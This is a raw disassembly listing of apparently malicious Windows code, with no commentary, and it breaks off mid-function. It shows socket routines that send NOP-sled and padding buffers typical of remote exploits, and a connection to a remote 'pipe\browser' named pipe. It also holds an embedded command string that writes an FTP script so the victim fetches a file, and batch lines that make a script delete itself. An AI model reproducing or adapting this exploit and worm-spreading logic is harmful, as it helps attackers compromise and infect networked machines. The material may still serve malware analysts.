		push	offset aEchoDelFC_batC ; "echo del /F c.bat >>c.bat\r\n"
		push	ecx
		call	sub_40102D
		add	esp, 8
		lea	ecx, [esp+440h+var_434]
		call	sub_4014DD
		push	eax
		push	esi
		call	sub_4013D4
		add	esp, 8
		test	al, al
		jz	short loc_4256AE
		lea	edx, [esp+440h+var_434]
		push	offset aEchoExitYC_bat ; "echo exit /y >>c.bat\r\n"
		push	edx
		call	sub_40102D
		add	esp, 8
		lea	ecx, [esp+440h+var_434]
		call	sub_4014DD
		push	eax
		push	esi
		call	sub_4013D4
		add	esp, 8
		test	al, al
		jz	short loc_4256AE
		lea	eax, [esp+440h+var_434]
		push	offset dword_4467AC
		push	eax
		call	sub_40102D
		add	esp, 8
		lea	ecx, [esp+440h+var_434]
		call	sub_4014DD
		push	eax
		push	esi
		call	sub_4013D4
		add	esp, 8
		test	al, al
		jnz	short loc_4256C2


loc_4256AE:				; CODE XREF: sub_4253C0+F3j
					; sub_4253C0+120j ...
		lea	ecx, [esp+440h+var_434]
		mov	[esp+440h+var_4], ebx
		call	sub_401226


loc_4256BE:				; CODE XREF: sub_4253C0+6Fj
					; sub_4253C0+85j
		xor	al, al
		jmp	short loc_4256EA
; ---------------------------------------------------------------------------


loc_4256C2:				; CODE XREF: sub_4253C0+2ECj
		push	0
		lea	ecx, [esp+444h+var_40C]
		push	400h
		push	ecx
		push	esi
		call	edi	; recv
		push	esi
		nop
		call	near ptr 71AB9639h
		lea	ecx, [esp+440h+var_434]
		mov	[esp+440h+var_4], ebx
		call	sub_401226
		mov	al, 1


loc_4256EA:				; CODE XREF: sub_4253C0+300j
		mov	ecx, [esp+440h+var_C]
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 434h
		retn
sub_4253C0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 0E0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4257F0	proc near		; CODE XREF: sub_40180Cj

var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_28		= byte ptr  2Ch
arg_2C		= byte ptr  30h
arg_2F		= byte ptr  33h
arg_59		= byte ptr  5Dh
arg_5B		= byte ptr  5Fh
arg_5C		= byte ptr  60h
arg_90		= byte ptr  94h
arg_A4		= byte ptr  0A8h
arg_A5		= byte ptr  0A9h
arg_F0		= byte ptr  0F4h
arg_190		= byte ptr  194h
arg_89C		= dword	ptr  8A0h
arg_8AC		= byte ptr  8B0h
arg_8D4		= dword	ptr  8D8h
arg_8E4		= byte ptr  8E8h
arg_C08		= dword	ptr  0C0Ch
arg_C0C		= dword	ptr  0C10h
arg_C18		= byte ptr  0C1Ch
arg_E30		= byte ptr  0E34h
arg_E50		= byte ptr  0E54h
arg_E70		= byte ptr  0E74h
arg_E90		= byte ptr  0E94h
arg_1480	= byte ptr  1484h
arg_14E0	= byte ptr  14E4h
arg_14FC	= byte ptr  1500h
arg_1CCC	= byte ptr  1CD0h
arg_2177	= byte ptr  217Bh
arg_2464	= byte ptr  2468h
arg_24C5	= byte ptr  24C9h
arg_34F8	= byte ptr  34FCh
arg_3FA0	= byte ptr  3FA4h
arg_3FC0	= byte ptr  3FC4h
arg_401C	= byte ptr  4020h
arg_401D	= byte ptr  4021h
arg_4020	= byte ptr  4024h
arg_4030	= byte ptr  4034h
arg_4AF4	= byte ptr  4AF8h
arg_6098	= byte ptr  609Ch
arg_60F8	= byte ptr  60FCh
arg_6100	= byte ptr  6104h
arg_8140	= byte ptr  8144h
arg_81DC	= byte ptr  81E0h
arg_8234	= dword	ptr  8238h
arg_8290	= dword	ptr  8294h
arg_8294	= dword	ptr  8298h

		mov	eax, 81D8h
		call	sub_437B30
		mov	eax, dword_44690C
		mov	ecx, dword_446910
		push	ebx
		push	ebp
		push	esi
		lea	edx, [esp+0Ch+arg_81DC]
		push	edi
		mov	[esp+10h], eax
		push	edx
		lea	eax, [esp+14h+arg_4]
		push	offset dword_446900
		push	eax
		mov	[esp+1Ch+arg_0], ecx
		nop
		call	sub_5FADE9
		add	esp, 0Ch
		xor	eax, eax
		lea	ecx, [esp+10h+arg_A5]


loc_425835:				; CODE XREF: sub_4257F0+56j
		mov	dl, [esp+eax+10h+arg_4]
		inc	eax
		mov	[ecx-1], dl
		mov	byte ptr [ecx],	0
		add	ecx, 2
		cmp	eax, 28h
		jl	short loc_425835
		mov	ecx, 18h
		mov	esi, offset dword_4461D0
		lea	edi, [esp+10h+arg_2C]
		xor	eax, eax
		rep movsd
		lea	edi, [esp+10h+arg_4]
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		lea	esi, [esp+10h+arg_A4]
		shl	ecx, 1
		mov	eax, ecx
		lea	edi, [esp+10h+arg_5C]
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		mov	edx, dword_446227
		rep movsb
		lea	edi, [esp+10h+arg_4]
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		mov	eax, dword_44622B
		dec	ecx
		lea	edi, [esp+10h+arg_4]
		lea	ecx, [esp+ecx*2+10h+arg_5B]
		mov	[ecx], edx
		mov	dl, byte_44622F
		mov	[ecx+4], eax
		xor	eax, eax
		mov	[ecx+8], dl
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		lea	edi, [esp+10h+arg_4]
		mov	ebx, ecx
		or	ecx, 0FFFFFFFFh
		add	bl, 1Ah
		shl	bl, 1
		repne scasb
		mov	ax, word_510108
		mov	[esp+10h+arg_2F], bl
		not	ecx
		dec	ecx
		push	eax
		shl	cl, 1
		add	cl, 9
		mov	[esp+14h+arg_59], cl
		call	near ptr 71AB2B66h
		nop
		mov	edx, [esp+14h+arg_8294]
		xor	eax, 9999h
		test	edx, edx
		mov	word_445ED0, ax
		jz	loc_4259E3
		mov	ecx, 36Bh
		mov	eax, 90909090h
		lea	edi, [esp+14h+arg_F0]
		mov	edx, dword_4465C4[edx*8]
		rep stosd
		mov	edi, offset loc_445E20
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		mov	esi, offset loc_445E20
		repne scasb
		not	ecx
		dec	ecx
		lea	edi, [esp+14h+arg_8E4]
		mov	eax, ecx
		mov	[esp+14h+arg_8D4], edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		rep movsb
		mov	ecx, dword_4468F8
		mov	edi, offset loc_445E20
		mov	[esp+14h+arg_C08], ecx
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		mov	[esp+14h+arg_C0C], edx
		mov	edx, ecx
		mov	esi, offset loc_445E20
		lea	edi, [esp+14h+arg_C18]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		lea	ecx, [esp+14h+arg_24C5]


loc_42598F:				; CODE XREF: sub_4257F0+1B5j
		mov	dl, [esp+eax+14h+arg_F0]
		inc	eax
		mov	[ecx-1], dl
		mov	byte ptr [ecx],	0
		add	ecx, 2
		cmp	eax, 0DACh
		jl	short loc_42598F
		mov	ecx, 714h
		mov	eax, 31313131h
		lea	edi, [esp+14h+arg_60F8]
		mov	[esp+14h+arg_401C], 0
		rep stosd
		stosw
		mov	ecx, 714h
		mov	eax, 31313131h
		lea	edi, [esp+14h+arg_4020]
		mov	[esp+14h+arg_401D], 0
		rep stosd
		stosw
		jmp	short loc_425A52
; ---------------------------------------------------------------------------


loc_4259E3:				; CODE XREF: sub_4257F0+10Bj
		mov	ecx, 1F4h
		mov	eax, 90909090h
		lea	edi, [esp+14h+arg_F0]
		mov	esi, offset loc_445E20
		rep stosd
		mov	edi, offset loc_445E20
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		lea	edi, [esp+14h+arg_190]
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		rep movsb
		lea	edi, [esp+14h+var_4]
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		lea	esi, [esp+14h+var_4]
		mov	edx, ecx
		lea	edi, [esp+14h+arg_8AC]
		shr	ecx, 2
		rep movsd
		mov	eax, dword_4465C4
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	[esp+14h+arg_89C], eax


loc_425A52:				; CODE XREF: sub_4257F0+1F1j
		mov	ecx, 38Ah
		mov	eax, 31313131h
		lea	edi, [esp+14h+arg_14E0]
		mov	ebp, [esp+14h+arg_8290]
		rep stosd
		movsx	ecx, bl
		mov	ebx, dword_511CA0
		add	ecx, 4
		push	0
		lea	edx, [esp+18h+arg_28]
		push	ecx
		push	edx
		push	ebp
		stosb
		call	ebx	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_425A96
		xor	al, al
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 81D8h
		retn
; ---------------------------------------------------------------------------


loc_425A96:				; CODE XREF: sub_4257F0+297j
		mov	esi, dword_511CA4
		push	0
		lea	eax, [esp+28h+arg_E90]
		push	640h
		push	eax
		push	ebp
		call	esi	; recv
		push	0
		push	68h
		push	offset dword_446234
		push	ebp
		call	ebx	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_425ACC
		xor	al, al
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 81D8h
		retn
; ---------------------------------------------------------------------------


loc_425ACC:				; CODE XREF: sub_4257F0+2CDj
		push	0
		lea	ecx, [esp+48h+arg_E70]
		push	640h
		push	ecx
		push	ebp
		call	esi	; recv
		push	0
		push	0A0h
		push	offset dword_4462A0
		push	ebp
		call	ebx	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_425AFF
		xor	al, al
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 81D8h
		retn
; ---------------------------------------------------------------------------


loc_425AFF:				; CODE XREF: sub_4257F0+300j
		push	0
		lea	edx, [esp+68h+arg_E50]
		push	640h
		push	edx
		push	ebp
		call	esi	; recv
		mov	eax, [esp+74h+arg_8234]
		test	eax, eax
		jz	loc_425BE5
		mov	ecx, 1Ah
		mov	esi, offset dword_446458
		lea	edi, [esp+74h+arg_6098]
		push	0
		rep movsd
		mov	ecx, 6D6h
		lea	esi, [esp+78h+arg_2464]
		lea	edi, [esp+78h+arg_6100]
		lea	eax, [esp+78h+arg_6098]
		rep movsd
		movsw
		mov	ecx, 1Ch
		mov	esi, offset dword_4464C4
		lea	edi, [esp+78h+arg_3FC0]
		push	10FCh
		rep movsd
		mov	ecx, 297h
		lea	esi, [esp+7Ch+arg_34F8]
		lea	edi, [esp+7Ch+arg_4030]
		push	eax
		rep movsd
		movsw
		mov	ecx, 21h
		mov	esi, offset dword_446538
		lea	edi, [esp+80h+arg_4AF4]
		push	ebp
		rep movsd
		call	ebx	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_425BAB
		xor	al, al
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 81D8h
		retn
; ---------------------------------------------------------------------------


loc_425BAB:				; CODE XREF: sub_4257F0+3ACj
		push	0
		lea	ecx, [esp+88h+arg_E30]
		push	640h
		push	ecx
		push	ebp
		nop
		call	near ptr 71AB615Ah
		push	0
		lea	edx, [esp+98h+arg_3FA0]
		push	0FDCh
		push	edx
		push	ebp
		call	ebx	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_425C4C
		xor	al, al
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 81D8h
		retn
; ---------------------------------------------------------------------------


loc_425BE5:				; CODE XREF: sub_4257F0+32Aj
		mov	ecx, 1Fh
		mov	esi, offset dword_446344
		lea	edi, [esp+74h+arg_1480]
		push	0
		rep movsd
		mov	ecx, 1F4h
		lea	esi, [esp+78h+arg_90]
		lea	edi, [esp+78h+arg_14FC]
		lea	eax, [esp+78h+arg_1480]
		rep movsd
		mov	ecx, 24h
		mov	esi, offset off_4463C4
		lea	edi, [esp+78h+arg_1CCC]
		push	0CF8h
		push	eax
		push	ebp
		rep movsd
		mov	[esp+84h+arg_2177], 0
		call	ebx	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_425C4C
		xor	al, al
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 81D8h
		retn
; ---------------------------------------------------------------------------


loc_425C4C:				; CODE XREF: sub_4257F0+3E6j
					; sub_4257F0+44Dj
		push	12Ch
		call	near ptr 2830000h
		nop
		sub	esp, 0BCh
		mov	ecx, 2Eh
		lea	esi, [esp+164h+arg_8140]
		mov	edi, esp
		rep movsd
		movsw
		call	sub_4013BB
		add	esp, 0BCh
		test	al, al
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		setnz	al
		add	esp, 81D8h
		retn
sub_4257F0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 130h	dup(0CCh)
; ---------------------------------------------------------------------------


loc_425DC0:				; CODE XREF: ___:00401DCAj
		sub	esp, 650h
		xor	eax, eax
		push	ebx
		mov	[esp+4], eax
		push	esi
		mov	[esp+0Ch], eax
		lea	ecx, [esp+660h]
		push	edi
		mov	[esp+14h], eax
		push	ecx
		mov	[esp+1Ch], eax
		mov	word ptr [esp+10h], 2
		call	near ptr 71AB2BF4h
		nop
		mov	edx, [esp+6FEh]
		mov	[esp+10h], eax
		push	edx
		nop
		call	near ptr 71AB2B66h
		push	6
		push	1
		push	2
		mov	[esp+1Ah], ax
		call	near ptr 71AB3B91h
		nop
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_425E26
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 650h
		retn
; ---------------------------------------------------------------------------


loc_425E26:				; CODE XREF: ___:00425E18j
		lea	eax, [esp+0Ch]
		push	10h
		push	eax
		push	ebx
		nop
		call	near ptr 71AB406Ah
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_425E45
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 650h
		retn
; ---------------------------------------------------------------------------


loc_425E45:				; CODE XREF: ___:00425E37j
		mov	edi, dword_511CA0
		push	0
		push	89h
		push	offset dword_445FB8
		push	ebx
		call	edi	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_425E6B
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 650h
		retn
; ---------------------------------------------------------------------------


loc_425E6B:				; CODE XREF: ___:00425E5Dj
		mov	esi, dword_511CA4
		push	0
		lea	ecx, [esp+20h]
		push	640h
		push	ecx
		push	ebx
		call	esi	; recv
		push	0
		push	0A8h
		push	offset dword_446044
		push	ebx
		call	edi	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_425EA0
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 650h
		retn
; ---------------------------------------------------------------------------


loc_425EA0:				; CODE XREF: ___:00425E92j
		push	0
		lea	edx, [esp+20h]
		push	640h
		push	edx
		push	ebx
		call	esi	; recv
		push	0
		push	0DEh
		push	offset dword_4460F0
		push	ebx
		call	edi	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_425ECF
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 650h
		retn
; ---------------------------------------------------------------------------


loc_425ECF:				; CODE XREF: ___:00425EC1j
		push	0
		lea	eax, [esp+20h]
		push	640h
		push	eax
		push	ebx
		call	esi	; recv
		movsx	eax, byte ptr [esp+60h]
		sub	eax, 30h
		jz	short loc_425EFB
		dec	eax
		jz	short loc_425EF7
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 650h
		retn
; ---------------------------------------------------------------------------


loc_425EF7:				; CODE XREF: ___:00425EE9j
		push	0
		jmp	short loc_425F2E
; ---------------------------------------------------------------------------


loc_425EFB:				; CODE XREF: ___:00425EE6j
		push	2
		push	ebx
		sub	esp, 0BCh
		mov	ecx, 2Eh
		lea	esi, [esp+724h]
		mov	edi, esp
		rep movsd
		movsw
		call	sub_40180C
		add	esp, 0C4h
		test	al, al
		jz	short loc_425F2C
		mov	esi, 1
		jmp	short loc_425F5A
; ---------------------------------------------------------------------------


loc_425F2C:				; CODE XREF: ___:00425F23j
		push	1


loc_425F2E:				; CODE XREF: ___:00425EF9j
		push	ebx
		mov	ecx, 2Eh
		sub	esp, 0BCh
		lea	esi, [esp+724h]
		mov	edi, esp
		rep movsd
		movsw
		call	sub_40180C
		add	esp, 0C4h
		neg	al
		sbb	eax, eax
		neg	eax
		mov	esi, eax


loc_425F5A:				; CODE XREF: ___:00425F2Aj
		push	ebx
		nop
		call	near ptr 71AB9639h
		test	esi, esi
		jz	short loc_425F88
		sub	esp, 0BCh
		mov	ecx, 2Eh
		lea	esi, [esp+71Ch]
		mov	edi, esp
		rep movsd
		movsw
		call	sub_40114F
		add	esp, 0BCh


loc_425F88:				; CODE XREF: ___:00425F63j
		pop	edi
		pop	esi
		mov	eax, 1
		pop	ebx
		add	esp, 650h
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 80h dup(0CCh)
; ---------------------------------------------------------------------------


loc_426020:				; CODE XREF: ___:00401E51j
		push	edi
		push	0C8h
		nop
		call	near ptr 2830000h
		mov	edx, [esp+0Ch]
		or	ecx, 0FFFFFFFFh
		mov	edi, edx
		xor	eax, eax
		repne scasb
		mov	eax, [esp+8]
		push	0
		not	ecx
		dec	ecx
		push	ecx
		push	edx
		push	eax
		nop
		call	near ptr 71AB428Ah
		cmp	eax, 0FFFFFFFFh
		pop	edi
		setnz	al
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426070	proc near		; CODE XREF: sub_401A55j

var_5A0		= dword	ptr -5A0h
var_59C		= dword	ptr -59Ch
var_598		= dword	ptr -598h
var_594		= dword	ptr -594h
var_590		= byte ptr -590h
var_400		= byte ptr -400h
arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_BC		= dword	ptr  0C0h

		sub	esp, 5A0h
		xor	eax, eax
		push	ebx
		mov	[esp+5A4h+var_5A0], eax
		push	ebp
		mov	[esp+5A8h+var_59C], eax
		push	esi
		lea	ecx, [esp+5ACh+arg_4]
		push	edi
		mov	[esp+5B0h+var_598], eax
		push	ecx
		mov	[esp+5B4h+var_594], eax
		mov	word ptr [esp+5B4h+var_5A0], 2
		call	near ptr 71AB2BF4h
		nop
		mov	edx, [esp+5B0h+arg_BC]
		mov	[esp+5B0h+var_59C], eax
		push	edx
		call	near ptr 71AB2B66h
		nop
		push	0
		push	1
		push	2
		mov	word ptr [esp+5BCh+var_5A0+2], ax
		nop
		call	near ptr 71AB3B91h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_4260D8
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 5A0h
		retn
; ---------------------------------------------------------------------------


loc_4260D8:				; CODE XREF: sub_426070+59j
		lea	eax, [esp+5B0h+var_5A0]
		push	10h
		push	eax
		push	esi
		nop
		call	near ptr 71AB406Ah
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4260F8
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 5A0h
		retn
; ---------------------------------------------------------------------------


loc_4260F8:				; CODE XREF: sub_426070+79j
		push	0
		lea	ecx, [esp+5B4h+var_400]
		push	400h
		push	ecx
		push	esi
		call	near ptr 71AB615Ah
		nop
		mov	ecx, offset byte_449511
		call	sub_4017EE
		push	eax
		mov	ecx, offset byte_449511
		call	sub_4017EE
		mov	edx, dword_44964F
		push	eax
		mov	eax, [esp+5B8h+arg_0]
		push	edx
		push	eax
		call	sub_401E10
		mov	ebx, dword_511AE4
		add	esp, 4
		lea	ecx, [esp+5BCh+var_590]
		push	eax
		push	offset aOpenSDIiEchoUs ; "open %s %d >>	ii &echo user a	a >> ii	&"...
		push	190h
		push	ecx
		call	ebx	; _snprintf
		lea	edi, [esp+5CCh+var_590]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 1Ch
		repne scasb
		mov	ebp, dword_511CA0
		push	0
		not	ecx
		dec	ecx
		lea	edx, [esp+5B4h+var_590]
		push	ecx
		push	edx
		push	esi
		call	ebp	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_426187
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 5A0h
		retn
; ---------------------------------------------------------------------------


loc_426187:				; CODE XREF: sub_426070+108j
		push	1F4h
		nop
		call	near ptr 2830000h
		mov	ecx, offset byte_449511
		call	sub_4017EE
		push	eax
		push	offset aS_3	; "%s\r\n"
		lea	eax, [esp+5B8h+var_590]
		push	190h
		push	eax
		call	ebx	; _snprintf
		lea	edi, [esp+5C0h+var_590]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 10h
		repne scasb
		not	ecx
		dec	ecx
		push	0
		push	ecx
		lea	ecx, [esp+5B8h+var_590]
		push	ecx
		push	esi
		call	ebp	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4261DC
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 5A0h
		retn
; ---------------------------------------------------------------------------


loc_4261DC:				; CODE XREF: sub_426070+15Dj
		push	0
		lea	edx, [esp+5B4h+var_400]
		push	400h
		push	edx
		push	esi
		nop
		call	near ptr 71AB615Ah
		push	esi
		nop
		call	near ptr 71AB9639h
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 5A0h
		retn
sub_426070	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 70h dup(0CCh)
; ---------------------------------------------------------------------------


loc_426280:				; CODE XREF: ___:00402199j
		mov	eax, 1E88h
		call	sub_437B30
		push	esi
		push	edi
		mov	ecx, 20Ch
		xor	eax, eax
		lea	edi, [esp+238h]
		mov	esi, offset dword_4469B4
		rep stosd
		mov	ecx, 0FAh
		mov	eax, 90909090h
		lea	edi, [esp+0A68h]
		mov	edx, dword_51010C
		rep stosd
		mov	ecx, 56h
		lea	edi, [esp+0CDEh]
		rep movsd
		mov	eax, dword_446C2C
		mov	ecx, 10h
		movsw
		movsb
		lea	edi, [esp+0E50h]
		mov	esi, offset dword_446964
		rep stosd
		mov	eax, dword_446C24
		mov	ecx, 0Bh
		lea	edi, [esp+238h]
		rep movsd
		mov	ecx, 10Ah
		lea	esi, [esp+0A68h]
		lea	edi, [esp+270h]
		mov	[esp+264h], eax
		mov	[esp+268h], edx
		mov	[esp+26Ch], eax
		rep movsd
		mov	ecx, 7
		mov	esi, offset dword_446994
		lea	edi, [esp+69Ch]
		mov	ax, word_446C20
		mov	[esp+698h], edx
		lea	edx, [esp+30h]
		rep movsd
		mov	esi, dword_511AE4
		lea	ecx, [esp+1E98h]
		push	ecx
		push	offset dword_446900
		push	104h
		push	edx
		mov	[esp+6BCh], ax
		call	esi	; _snprintf
		add	esp, 10h
		xor	edi, edi
		lea	ecx, [esp+10h]
		lea	eax, [esp+30h]
		push	edi
		push	offset byte_448F30
		push	offset byte_448F30
		push	ecx
		mov	[esp+24h], edi
		mov	[esp+30h], edi
		mov	[esp+3Ch], edi
		mov	[esp+34h], eax
		call	sub_4382AA
; ---------------------------------------------------------------------------
		test	eax, eax
		jz	short loc_4263A5
		or	eax, 0FFFFFFFFh
		pop	edi
		pop	esi
		add	esp, 1E88h
		retn
; ---------------------------------------------------------------------------


loc_4263A5:				; CODE XREF: ___:00426397j
		lea	edx, [esp+1E98h]
		lea	eax, [esp+134h]
		push	edx
		push	offset aSPipeBrowser ; "\\\\%s\\pipe\\browser"
		push	104h
		push	eax
		call	esi	; _snprintf
		add	esp, 10h
		lea	ecx, [esp+134h]
		push	edi
		push	edi
		push	3
		push	edi
		push	edi
		push	0C0000000h
		push	ecx
		call	near ptr 28502BBh
		nop
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_4263EF
		or	eax, eax
		pop	edi
		pop	esi
		add	esp, 1E88h
		retn
; ---------------------------------------------------------------------------


loc_4263EF:				; CODE XREF: ___:004263E2j
		lea	edx, [esp+0Ch]
		push	edi
		push	edx
		lea	eax, [esp+0E98h]
		push	1000h
		push	eax
		push	49h
		push	offset dword_446918
		push	esi
		nop
		call	near ptr 2780000h
		test	eax, eax
		jnz	short loc_426427
		push	esi
		call	near ptr 2830942h
		nop
		or	eax, 0FFFFFFFFh
		pop	edi
		pop	esi
		add	esp, 1E88h
		retn
; ---------------------------------------------------------------------------


loc_426427:				; CODE XREF: ___:00426412j
		lea	ecx, [esp+8]
		push	edi
		push	ecx
		lea	edx, [esp+240h]
		push	830h
		push	edx
		push	esi
		call	near ptr 27E0000h
		nop
		test	eax, eax
		jnz	short loc_426458
		push	esi
		nop
		call	near ptr 2830942h
		or	eax, 0FFFFFFFFh
		pop	edi
		pop	esi
		add	esp, 1E88h
		retn
; ---------------------------------------------------------------------------


loc_426458:				; CODE XREF: ___:00426443j
		push	115Ch
		mov	ecx, 2Eh
		sub	esp, 0BCh
		lea	esi, [esp+1F54h]
		mov	edi, esp
		rep movsd
		movsw
		call	sub_401A55
		add	esp, 0C0h
		neg	al
		sbb	eax, eax
		pop	edi
		neg	eax
		pop	esi
		add	esp, 1E88h
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 90h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426520	proc near		; CODE XREF: sub_4013CAj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	edi
		mov	edi, [esp+4+arg_4]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		mov	edi, [esp+4+arg_0]
		not	ecx
		dec	ecx
		mov	edx, ecx
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		pop	edi
		lea	eax, [ecx+edx*2+0C1h]
		retn
sub_426520	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426560	proc near		; CODE XREF: sub_401794j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	ebx, [esp+4+arg_8]
		push	esi
		mov	esi, [esp+8+arg_C]
		push	esi
		push	ebx
		call	sub_4013CA
		mov	ecx, [esp+10h+arg_4]
		add	esp, 8
		cmp	eax, ecx
		mov	[esp+8+arg_8], eax
		jbe	short loc_426585
		pop	esi
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_426585:				; CODE XREF: sub_426560+1Ej
		push	ebp
		push	edi
		or	ecx, 0FFFFFFFFh
		mov	edi, ebx
		xor	eax, eax
		mov	ebp, [esp+10h+arg_0]
		repne scasb
		not	ecx
		dec	ecx
		mov	edi, esi
		mov	edx, ecx
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		mov	esi, offset dword_446C64
		mov	eax, ecx
		mov	edi, ebp
		lea	ecx, [eax+edx+12h]
		mov	dword_446CC8, ecx
		lea	ecx, [eax+1]
		mov	dword_446CE9, ecx
		lea	ecx, [eax+17h]
		mov	dword_446CE1, ecx
		mov	ecx, 0FFFFFFEDh
		sub	ecx, eax
		mov	dword_446CF7, ecx
		mov	ecx, 1Dh
		rep movsd
		mov	ecx, edx
		mov	esi, ebx
		mov	ebx, ecx
		lea	edi, [ebp+74h]
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		add	edx, 74h
		and	ecx, 3
		rep movsb
		mov	esi, dword_446CD8
		lea	ecx, [edx+ebp]
		add	edx, 5
		mov	[ecx], esi
		mov	bl, byte_446CDC
		mov	esi, [esp+10h+arg_C]
		lea	edi, [edx+ebp]
		mov	[ecx+4], bl
		mov	ecx, eax
		mov	ebx, ecx
		add	edx, eax
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		and	ecx, 3
		rep movsb
		mov	esi, dword_446CDD
		lea	ecx, [edx+ebp]
		add	edx, 10h
		mov	[ecx], esi
		mov	esi, dword_446CE1
		lea	edi, [edx+ebp]
		mov	[ecx+4], esi
		mov	esi, dword_446CE5
		mov	[ecx+8], esi
		mov	esi, dword_446CE9
		mov	[ecx+0Ch], esi
		mov	esi, [esp+10h+arg_C]
		mov	ecx, eax
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		and	ecx, 3
		rep movsb
		lea	edi, [edx+eax]
		mov	eax, [esp+10h+arg_8]
		add	edi, ebp
		mov	ecx, 0Eh
		mov	esi, offset byte_446CED
		rep movsd
		pop	edi
		pop	ebp
		pop	esi
		pop	ebx
		retn
sub_426560	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4266D0	proc near		; CODE XREF: sub_402180j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_4013CA
		push	eax
		call	sub_4017C6
		add	esp, 0Ch
		retn
sub_4266D0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_426700:				; CODE XREF: ___:0040173Fj
		push	ebx
		mov	ebx, [esp+10h]
		push	ebp
		push	edi
		mov	edi, [esp+1Ch]
		push	edi
		push	ebx
		call	sub_402180
		mov	ebp, [esp+1Ch]
		add	esp, 8
		cmp	eax, ebp
		jbe	short loc_426723
		pop	edi
